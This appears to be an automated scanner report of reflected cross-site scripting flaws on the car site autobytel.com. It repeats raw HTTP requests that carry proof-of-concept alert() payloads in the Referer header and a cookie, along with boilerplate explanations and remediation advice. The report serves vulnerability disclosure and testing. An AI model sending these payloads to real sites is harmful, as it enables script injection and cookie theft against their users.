GET /car-financing.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=4487a"%3balert(1)//fd21207da5d
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1358d"%3balert(1)//337f917d70d was submitted in the Referer HTTP header. This input was echoed as 1358d";alert(1)//337f917d70d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-incentives.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=1358d"%3balert(1)//337f917d70d
The value of the Referer HTTP header is copied into an HTML comment. The payload b7de5--><img%20src%3da%20onerror%3dalert(1)>3a1ce75c479 was submitted in the Referer HTTP header. This input was echoed as b7de5--><img src=a onerror=alert(1)>3a1ce75c479 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-incentives.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=b7de5--><img%20src%3da%20onerror%3dalert(1)>3a1ce75c479
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f67d4"%3balert(1)//076a85faa1d was submitted in the Referer HTTP header. This input was echoed as f67d4";alert(1)//076a85faa1d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-news.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=f67d4"%3balert(1)//076a85faa1d
The value of the Referer HTTP header is copied into an HTML comment. The payload 934eb--><img%20src%3da%20onerror%3dalert(1)>6182ba0f111 was submitted in the Referer HTTP header. This input was echoed as 934eb--><img src=a onerror=alert(1)>6182ba0f111 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-news.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=934eb--><img%20src%3da%20onerror%3dalert(1)>6182ba0f111
The value of the Referer HTTP header is copied into an HTML comment. The payload f15c5--><img%20src%3da%20onerror%3dalert(1)>8d4686ca011 was submitted in the Referer HTTP header. This input was echoed as f15c5--><img src=a onerror=alert(1)>8d4686ca011 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-pictures.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=f15c5--><img%20src%3da%20onerror%3dalert(1)>8d4686ca011
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1156f"%3balert(1)//1427023b7d4 was submitted in the Referer HTTP header. This input was echoed as 1156f";alert(1)//1427023b7d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-pictures.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=1156f"%3balert(1)//1427023b7d4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42332"%3balert(1)//ab1593c27bb was submitted in the Referer HTTP header. This input was echoed as 42332";alert(1)//ab1593c27bb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-reviews.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=42332"%3balert(1)//ab1593c27bb
The value of the Referer HTTP header is copied into an HTML comment. The payload dd5d7--><img%20src%3da%20onerror%3dalert(1)>4bc6a57004c was submitted in the Referer HTTP header. This input was echoed as dd5d7--><img src=a onerror=alert(1)>4bc6a57004c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-reviews.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=dd5d7--><img%20src%3da%20onerror%3dalert(1)>4bc6a57004c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa9c0"%3balert(1)//ee9bfa581b9 was submitted in the Referer HTTP header. This input was echoed as fa9c0";alert(1)//ee9bfa581b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/finance/index.cfm/action/Calculator HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=fa9c0"%3balert(1)//ee9bfa581b9
The value of the Referer HTTP header is copied into an HTML comment. The payload 4a9c0--><img%20src%3da%20onerror%3dalert(1)>128513abd15 was submitted in the Referer HTTP header. This input was echoed as 4a9c0--><img src=a onerror=alert(1)>128513abd15 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/buy/finance/index.cfm/action/Calculator HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=4a9c0--><img%20src%3da%20onerror%3dalert(1)>128513abd15
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a138"%3balert(1)//294e4adfe8b was submitted in the Referer HTTP header. This input was echoed as 1a138";alert(1)//294e4adfe8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=1a138"%3balert(1)//294e4adfe8b
The value of the Referer HTTP header is copied into an HTML comment. The payload d4a1a--><img%20src%3da%20onerror%3dalert(1)>4a22cceb8c0 was submitted in the Referer HTTP header. This input was echoed as d4a1a--><img src=a onerror=alert(1)>4a22cceb8c0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/buy/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=d4a1a--><img%20src%3da%20onerror%3dalert(1)>4a22cceb8c0
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3cf66"%3balert(1)//49f2510b4ff was submitted in the Referer HTTP header. This input was echoed as 3cf66";alert(1)//49f2510b4ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/warranty/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=3cf66"%3balert(1)//49f2510b4ff
The value of the Referer HTTP header is copied into an HTML comment. The payload 79d8a--><img%20src%3da%20onerror%3dalert(1)>d955c1d591b was submitted in the Referer HTTP header. This input was echoed as 79d8a--><img src=a onerror=alert(1)>d955c1d591b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/buy/warranty/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=79d8a--><img%20src%3da%20onerror%3dalert(1)>d955c1d591b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42ed3"%3balert(1)//0f0891904b3 was submitted in the Referer HTTP header. This input was echoed as 42ed3";alert(1)//0f0891904b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
